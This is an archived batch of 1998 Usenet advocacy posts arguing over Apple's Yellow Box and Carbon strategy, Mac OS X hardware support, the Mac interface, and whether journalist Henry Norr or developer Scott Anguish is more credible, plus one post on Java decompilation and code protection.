Subtract that date from 11/97. Looks like 1.5 to 2 years to me. And will
Apple's Mach 3 implementation handle real-time video I/O needs?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Tue, 14 Jul 1998 20:18:46 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1407982018470001@elk70.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <not-1407981437080001@1-58.phx.psn.net> <6oglrm$g1d$1@news.digifix.com>
In article <6oglrm$g1d$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 07/14/98, Michael M. Eilers wrote:
> >In article <6oga6q$iv$1@news.xmission.com>, don@misckit.com wrote:
> >
> >> Are you NOT aware that Jobs is one of Scott's information sources?
> >>
> >> Now, whether or not Jobs tells truth or lies to Scott is certainly
> worthy of
> >> speculation, but Scott's sources are very high up at Apple,
> including as high
> >> up as Jobs himself in some cases.
> >
> >I'm also aware, as others have pointed out on this thread, that Scott
> is a
> >NeXT and potential Yellow Box developer, which most certainly gices
> him a
> >bias in this discussion. A bias that Mr. Norr does not share. A bias
> that
> >effectively counts Scott out as a reliable source.
>
> No, Mr Norr has a demonstratable Anti-YB bias. Did anyone
> notice that Macintouch was the only site to claim that Rhapsody 1.0
> was going to ship LATE this year, not late this quarter.
>
> Norr got pissed when Rhapsody DR1 wouldn't install on his PC
> using an Adaptec 2940UW card (the MAC version).
Actually, it precedes that. Mr. Norr has had an apparent anti-Apple bias
going back a few years--even when he was editor of MacWeek.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 14 Jul 1998 20:20:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1407982020370001@elk70.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com>
In article <6oglng$ft8$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 07/14/98, Joe Ragosta wrote:
> >In article <35abb32c.0@news.depaul.edu>, Jonathan W Hendry
> ><jhendry@shrike.depaul.edu> wrote:
> >
> >> In comp.sys.next.advocacy Don Yacktman <don@misckit.com> wrote:
> >>
> >> > Are you NOT aware that Jobs is one of Scott's information
> sources?
> >>
> >> >Now, whether or not Jobs tells truth or lies to Scott is certainly
> worthy of
> >> >speculation, but Scott's sources are very high up at Apple,
> including
> >as high
> >> >up as Jobs himself in some cases.
> >>
> >> It would be nice if someone would pass along to these sources that
> >> a free, Appkit-less, PDO-like YellowBox/Windows runtime would be a
> >> very good idea.
> >
> >There's probably no one better than Scott to pass this information
> along.
> >
> >So stay on his good side. ;-)
>
> Jon and I are pals.. :-)
>
> What he's describing sounds like Foundation though...
>
> The YB runtime issues lie squarely in the realm of Adobe and
> to a lesser extent the Unisys LZW patent.
Shouldn't Adobe's plans to drop DPS make that issue easier?
As for Unisys, I don't want to have anything to do with them. I bought
their stock a year ago at 7 and sold it a few months ago at 19. My brother
convinced me to take the profits and run. It's around 27 today. Darn.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 17:24:43 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1407981724440001@dante.eng.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <rmcassid-1307981232230001@dante.eng.uci.edu> <macghod-1407981521320001@sdn-ar-001casbarp120.dialsprint.net>
In article <macghod-1407981521320001@sdn-ar-001casbarp120.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>In article <rmcassid-1307981232230001@dante.eng.uci.edu>, rmcassid@uci.edu
>(Robert Cassidy) wrote:
>
>> That is the key statement. Apple will not 'support' (in quotes for a
>> reason) pre G3 hardware, and will not promise that it will run there
>> ('theoretically by luck'). But at the same time, it appears that they will
>> not prevent you from trying on any daughtercard upgradable Apple branded
>> hardware.
>
>So you are saying the installer WONT have a gestalt check for those
>unsupported machines? They should do it like openstep: they have a list
>of supported devices. If you want to run os x you will have to make sure
>your machine has the right devices (as well as a motherboard that is
>similiar enough to a g3)
I think it depends. There are clearly two categories here:
1) hardware that it _clearly_ won't run on. 68k, Nubus, etc.
2) hardware that it _might_ have drivers for.
I'd expect a gestalt check for PCI, 604, whatever, that makes it minimally
functional. I would _not_ expect a gestalt check for assorted hardware,
G3, and whatnot.
Basically if you pass the most basic test, you are on your own. There
_might_ be a non-fatal check, basically along the lines of:
"You are about to install this on hardware which is not officially
supported by Apple Computer. Are you sure you want to proceed?"
just as a CYA alert.
So I see 3 categories of hardware:
1) Won't run due to predetermined hardware issues (Nubus instead of PCI,
for instance) and won't install as a result.
2) Might run, as the hardware meets the most minimal requirements, but not
all functionality will be there or it might fail due to 3rd party hardware
weirdness. Don't bother calling if it blows up in your face.
3) Supported, should run, call 1-800-SOS-APPL if it doesn't.
#2 is new to Apple. If there was any doubt, Apple would impose #1 on you
instead.
-Bob Cassidy
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 00:59:04 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oguso$opt$1@lwnws01.ne.highway1.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <chaps-ya02408000R1407982254110001@nntp.netcomuk.co.uk> <35ABD621.669B3BEE@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Scott Anguish is an advocate. Henry Norr is a journalist. Which would
> explain why one posts to CSNA, and the other doesn't. I hope this
> answers your question, Scott, regarding why anyone listens to Henry Norr
> (and the implicit question regarding why many fewer people listen to
> you).
Umhmm. I think the major reason is Norr has been published and has name
recognition. The reason he was bumped, I don't know why. I can tell you
that he made ignorant statements about NeXT technology. I too have talked
with Mr. Norr via email. And although he generally seemed to try and be
unbiased, definatly more so than say Crabb, he had his slant and axe to grind
because, I'm guessing, of a lot of history. The bottom line is Norr is
technically illiterate compared to Scott. His livelihood is derived from
what he writes about; I haven't clue one how that affects bias, but I bet it
does to some extent. Scott, derives his livelihood from development (I
think) and I'm sure that colors his perspective as well (to what color and
extent I also can't judge). But Scott does have clue one about the technical
issues. As for the politics, heck if I know who is more accurate.
I don't think either of them are at all bad dudes. They have different
roles, IMO. I use their work for very different purposes. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Code Security - a benefit of Yellow Box (was Re: Yellow Box future?)
Date: Tue, 14 Jul 1998 18:08:23 -0700
Organization: Digital Universe Corporation
Message-ID: <35AC0107.29F81818@alum.mit.edu>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com> <35ABC213.50ED7EFB@alum.mit.edu> <6ogj9c$cf1@nntp02.primenet.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 15 Jul 1998 01:08:32 GMT
John Jensen wrote:
> Eric Hermanson <eric@alum.mit.edu> wrote:
>
> : and download either Jad or Mocha/Jasmine, and watch them decompile all of your
> : Java classes into source code in the blink of an eye. Watch them rename some
> : methods, change some code around, and voila! They are shipping a competing
> : product!
>
> This is soooo old. If you're such an expert perhaps you could also list
> the available encryptors which defeat the decompilers.
I can't say that I'm an expert in the area of object-code encryption, but, unless
the entire encryption/decryption process takes place in hardware, it is possible for
the user to intercept and decrypt the code. I would guess some other problems with
Java code encryption are that it would slow-down already slow Java code, and it
would require a great deal of cooperation among vendors to decide on the encryption
and decryption methods.
One might also want to use code obfuscators to protect intellectual property, but in
my opinion, obfuscators are no better for protecting Java code. There are
obfuscators which attempt to subvert the decompilation of Java bytecode by removing
important information form the class file, but as far as I know, there are several
un-obfuscator available that will pretty much give you as close to the original
source files as one might hope to get during decompilation. In addition to the fact
that Java's VM is extremely simple and publically published, Java's late binding
also places severe limits on how much obfuscators can do to prevent decompilation.
See:
http://meurrens.ml.org/ip-Links/Java/codeEngineering/decomp.html
http://meurrens.ml.org/ip-Links/Java/codeEngineering/index.html
http://meurrens.ml.org/ip-Links/Java/codeEngineering/obfusc.html#secUnobfuscators
Tools like Jad, or Mocha combied with Jasmine (don't confuse with Jasmin), will
sucessfully decompile code obfuscated with something called "Crema". There are
many other public domain Java reverse engineering tools out there. A very good one
is called Ice Breaker: http://www.breakertech.com/ice/ice.html. This tool sort of
shows you the before and after shots of the decompilation process, and allows you to
tweak the decompilated code step by step until the bytecodes match. It is very
sucessful when used on obfuscated Java classes.
The best way to protect your code is not to ship it to the client machine. That is
why WebObjects 4.0's multi-tier Java support is very cool, allowing important code
to be kept securely on the server. Client code can communicate with the server over
a variety of channels.
***Interestingly, a reason why Apple might very well continue to develop Yellow Box
(and other APIs) in Obj-C and wrap it in Java, as opposed to developing strictly in
Java, is that fact that Objective-C is much harder to decompile. Likewise, a
developer who wants to distribute cross-platform applications is in my opinion
better off from a code security standpoint by writing them in Obj-C/Yellow Box and
shipping them on MacOS/YB and WinNT/YB, rather than giving away their secrets by
shipping decompilable Java class files. Developers who want to export their API's
to Java simply have to wrap the Obj-C in Java. This sort of makes Java wrapped
Obj-C applications Java Native Interfaces (JNI) - the Java calls are translated to
"native" YellowBox, EOF, or WebObjects calls. Since YellowBox will supposedly run
on all "mainstream" platforms, and because YellowBox represents an extremely
advanced object-oriented development environment, it becomes an attractive
alternative.
Eric
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 15 Jul 1998 01:13:53 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ogvoh$opt$4@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171>
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> That's because the Mac UI works well and people know it.
And to those stuck in the crippling habit of windows 3.1, to them it works
well and they know it.
> not changed. We don't have significant changes in that UI every
> few years.
Heads up displays in planes changed the UI a great deal. Iris eye tracking
systems aim weapons. Laser to retina projections make HUDs implementations
pale. You're still stuck on the ground. There are people that fly.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 15 Jul 1998 01:10:18 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ogvhq$opt$3@lwnws01.ne.highway1.com>
References: <6oge4p$ejk$3@lwnws01.ne.highway1.com> <6ogeqd$997@shelob.afs.com>
Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> Dammit Jim, I'm an applications programmer, not a device hacker. It's
> artificial life, but not as *I* know it. 8^)
:)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 17:17:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ABD8E4.7E40F57F@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> > Scott is anything but qualified to disparage the likes of Henry Norr.
> > That's undisputable. Oh, I know how the NeXT community likes to hold
> > itself above the Mac community, which would obviously make media
> > personalities like Scott Anguish more credible than longtimers like
> > Norr.
>
> Fine. I've been a Mac user for 13 years now and _I'll_ disparage Norr. He
> has never been very reliable and has had an anti-Apple chip on his
> shoulder as long as I can remember.
The question isn't whether or not he has an anti-Apple chip on his
shoulder. The question is whether the chip has any place being there.
Now, we all know how loyal you are, Joe. We're all terribly impressed by
the way you've suspended as much gray matter activity as possible to
justify the endless exploitations perpetuated by Apple Computer. One
might say that you have "an ideological commitment" to Apple Computer's
positive image. So I'm sure that you won't agree with Norr's assessment
of Apple.
My observation has been that Norr's criticisms of Apple were *always*
along the lines of "Apple shouldn't be doing this because Apple would be
more successful if it weren't." This stands in stark contrast to
"anti-Apple bias" you described in an earlier post. Norr has a very
strong pro-Apple bias, and he criticizes what he considers to be bad
behavior because of it.
When one is in favor of something, sometimes one reaches a point where
it's necessary to actually criticize because of your desire to see
positive change. That point usually comes when one is convinced that
nothing but deep and difficult change will turn things around. For me
that point hit somewhere around the time Steve Jobs hit the company. The
saddest thing is when despite all the criticism, stupidity prevails and
the cause sinks anyway. For those last bitter moments, all you can do is
criticize because there's nothing good left.
If Norr were truly anti-Apple he'd be thrilled to see Apple plow itself
into the ground. Norr's distinct displeasure at Apple's idiocy is a
pretty good indicator of how much he cares. I would say that the
converse probably applies to you, although you likely don't realize how
obvious it is.
MJP
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 22:37:50 GMT
Organization: Digital Fix Development
Message-ID: <6ogmju$g83$1@news.digifix.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net> <6oej43$n38$1@news.digifix.com> <6ogjoj$vnt$1@nnrp1.dejanews.com>
In-Reply-To: <6ogjoj$vnt$1@nnrp1.dejanews.com>
On 07/14/98, embuck@my-dejanews.com wrote:
>Apple's message has been clear and simple since WWDC. CARBON is
>the only API that devlopers should consider at least
That ___LEGACY___ developers should consider yes. Carbon is
about compatibility.
>until some unspecified time in the distant future after MacOS-X.
>I have heard nothing else and the press has reported nothing else.
I've given you several citations that are less than a month
old that points to YB being the thing to use if you don't need to
deploy in the next year (and realistically who can crank out a Carbon
app in that timeframe?)
Avie said that at MacWorld, less than a week ago!!
>Sure, you and I hear from the hand full of engineers
>working on YellowBox, but they are clearly not involved with policy
issues.
This is your misconception. I'm not getting my information
from engineers.
>I have never heard a more consistent message from Apple or NeXT.
>Yellow is not on the radar screen now. Whe can debate whether it
>ever will be again.
>
You're flat out wrong here. With the exception of Ken
Bereskin's comments to Henry Norr (and in when put into context, they
are clearly pointed at the Mac developer community) Apple has
consistently been publically saying that YB is the best way for the
future.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 21:25:23 -0400
Organization: ICGNetcom
Message-ID: <smileyy-1407982125240001@cin-oh2-14.ix.netcom.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <6ogvoh$opt$4@lwnws01.ne.highway1.com>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <6ogvoh$opt$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>> That's because the Mac UI works well and people know it.
>
>And to those stuck in the crippling habit of windows 3.1, to them it works
>well and they know it.
....which means the ideal is to improve the interface without major changes
to what worked before.
Andrew McCormick
--
smileyy@ix.netcom.com
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 21:03:55 GMT
Organization: Digital Fix Development
Message-ID: <6ogh3r$eju$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net>
In-Reply-To: <not-1407981048300001@2-25.phx.psn.net>
On 07/14/98, Michael M. Eilers wrote:
>In article <6oeict$msj$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>> >Scott, why the hell would we listen to you instead?
>>
>> Because Henry was telling you a wild out on a limb
>> speculation.
>
>....a speculation based on years and years of experience with both
Apple
>and journalism. I'd trust his hunches over some armchair pontiff on
Usenet
>any day.
>
Sorry, but I'm not some armchair pontiff on Usenet.
I'm a full-time developer, and run an OpenStep/Rhapsody
information site that is OLDER than Macintouch.
<snip>
>> Gee, as I recall, Mr Norr is now writing for Macintouch,
not
>> MacWeek. Why do I doubt that is a steady paying job.
>
>He writes for many other publications as well. Trust me on this,
MacWeek
>is a *very* well paying job, for a journalist. Not that the amount
>matters--what matters is that the editors trust him to write solid
stuff
>and not make a fool of himself.
Really? So why did Mac Week let him go?
>
>> Writing for a publication doesn't automatically make you
>> right.
>
>I never said it did. But the fact that some have the public forum
(such as
>Norr) and are trusted in that position certainly casts a shadow on
those
>who just mutter on Usenet like they think it matters.
>
You're a twit. I've published for the OpenStep/Rhapsody
community for more than 4 years now. Longer than Apple has had a web
site period.
>michael
>
>--
>"If you're bored then you're boring" --Harvey Danger, from Flagpole
Sitter
>"Eureka! I smella!" --chant of a 4-year-old out by the pool
>Michael M. Eilers * Fearful Symmetry Designs
>
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 21:07:07 GMT
Organization: Digital Fix Development
Message-ID: <6ogh9r$ejv$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001 <6og79u$pg8$1@vixen.cso.uiuc.edu>
In-Reply-To: <6og79u$pg8$1@vixen.cso.uiuc.edu>
On 07/14/98, willis sean timothy wrote:
>Michael Peck (Michael.Peck@ericsson.com) wrote:
>: I daresay Henry Norr has seen a bit more of Apple's history than,
say
>: (off the top of my head), someone like Scott Anguish. Pretending to
be
>: the lone voice of reason sounds like so much naivete, coming from a
>: relative newbie to the Apple culture.
>
>I do believe that just a month or two ago, Scott took the opportunity
to
>answer similar statements by reminding the public of his prior career
as a
>Macintosh developer. If this was indeed him, your statements would be
>considerably off-base.
Thanks Sean..
Yes, I developed for the Mac from 84/85 till 94/95 full-time,
professionally. Some horizontal products, but mostly vertical.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 14:31:25 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981431260001@1-58.phx.psn.net>
References: <not-1407981048300001@2-25.phx.psn.net> <6ogat2$8vu@shelob.afs.com>
NNTP-Posting-Date: 14 Jul 1998 21:29:54 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6ogat2$8vu@shelob.afs.com>, Greg_Anderson@afs.com wrote:
> > Not one of the Big Four Mac developers--Adobe, Quark, Microsoft,
> > Macromedia--the people who *made* the Mac what it is today--were willing
> > to touch Yellow Box with a ten-quadrillion-foot pole. That alone doomed
> > the Yellow Box forever.
>
> But the reasons had nothing to do with technical inability. Those four
> developers had already been forced to solve cross-platform issues with
> their own home-grown solutions. There was no point rewriting everything,
> because it conveyed no fresh advantage *to them*. Furthermore, YB poses
> a potential threat, precisely because it allows smaller firms to catch
> up -- on both Windows and Mac -- with drastically smaller resources.
The argument I always heard that were pro-Yellow-Box suggested that the
big companies would clearly benefit from going Yellow Box because they
could develop both Mac and PC apps from a single code base. The fact that
they had such an advantage offered to them and declined it says a lot
about them, but just as much about YB. You have to ask the question: if YB
is so compelling, why are people willing to stick with crappy MicroSoft
APIs instead?
Answer: because they are pre-trained in the field, the docs have been
written, the bugs are known, the workarounds have bceome standard.
Entrenched, even. Why has BeOS faded into total obscurity, even though it
is unarguably the most modern OS yet? Different APIs.
> Don't believe me? Take a serious look at TIFFany, which was developed by
> TWO guys over the meandering course of several years. Tell me with a
> straight face that TIFFany is not Photoshop's equal (or better). Imagine
> how Adobe feels about two guys in a college dorm cranking out code that
> could put them to shame, despite orders of magnitude greater resources.
I've never seen TIFFany, though I would very much like to--do I need a
NeXT box to run it? However, I'm willing to speculate that Adobe would
feel no threat whatsoever from such an effort. They have the most powerful
weapon any company can have, far more powerful than the sharpest code or
the coolest features:
Name recognition. "Photoshop" is a verb, for crissakes! "Dude, my negs for
my photo class look like shit." "Don't worry, dude, we'll just scan 'em
and Photoshop 'em to death."
> No, the reasons why the Big Developers would want to clobber YB are way
> too obvious. The question is, will Apple consider it to be in its own
> best interest to stand up to them?
My guess is no. The current incarnation of Apple is one that isn't going
to spend a dime on anything that isn't busy feeding money back into the
quarterly report, so Apple can keep punching that stock price skyward. Can
I compain? I own 1,500 shares!
I think the visionary Apple is over, at least for now, and the practical
Apple is in the house. One could certainly argue that it would be
"practical" for Apple to develop and deliver Yellow Box because it
increases the user base in the future, but I don't think that will fly.
Apple/Jobs is focused on one thing right now: putting an iMac under every
damn Christmas Tree in the world.
> As to Henry Norr, I was in fairly frequent contact with him during the
> months following the NeXT acquisition, and I found him to be fair-minded
> and willing to learn what Apple was buying. Still, he has his own point
> of view on things, and his source (Ken Bereskin) is no better placed --
> by your standards, where only Steve is worth listening to -- than the
> people Scott Anguish has access to.
The reason I said I would only listen to Jobs is because he is the
dictator in charge--in other words, a thousand highly placed sources could
leak to me with 100% certainty that Yellow Box was going to survive, but
then Steve could get up tomorrow on the wrong side of bed, eat a stale
organic bran muffin, get to the office in a bad mood and decide "Yellow
Box is toast!" and that would be that. When there is a man with a sharp
axe in a room full of long-necked people, I tend to listen to the guy with
the axe. So do the long-necked people.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 14:38:53 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1407981438530001@dante.eng.uci.edu>
References: <not-1407981048300001@2-25.phx.psn.net> <6ogat2$8vu@shelob.afs.com>
In article <6ogat2$8vu@shelob.afs.com>, Greg_Anderson@afs.com wrote:
>Don't believe me? Take a serious look at TIFFany, which was developed by
>TWO guys over the meandering course of several years. Tell me with a
>straight face that TIFFany is not Photoshop's equal (or better). Imagine
>how Adobe feels about two guys in a college dorm cranking out code that
>could put them to shame, despite orders of magnitude greater resources.
OTOH, imagine how Adobe could feel about being able to do *exactly* the
same thing to it's competitors - Macromedia, etc. The knife can cut both
ways.
>No, the reasons why the Big Developers would want to clobber YB are way
>too obvious. The question is, will Apple consider it to be in its own
>best interest to stand up to them?
Well, I think if Apple quitely pushes YB as a framework and not an API
then it might work out alright. I don't see the Big Developers pounding on
any other framework vendor. Of course, maybe they are and I just don't see
it.
Either way, sooner or later that kind of enabling technology will show up
and allow two guys in a garage to topple mighty Adobe. That should be made
clear to Adobe along with the knowledge that adopting that technology
*now* means that the two guys will never get the chance.
After all, if Adobe could have spend those massive resources actually
adding useful functionality to Photoshop 5 instead of doing whatever it is
that they did, TIFFany might not look so nice.
-Bob Cassidy
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted
Date: Tue, 14 Jul 1998 14:47:00 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981447000001@1-58.phx.psn.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>
NNTP-Posting-Date: 14 Jul 1998 21:45:13 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> I probably don't deserve to be an Apple customer at all since I bought
> an Apple and feel shafted when the machine isn't going to be
> compatible with the modern OS I bought it for.
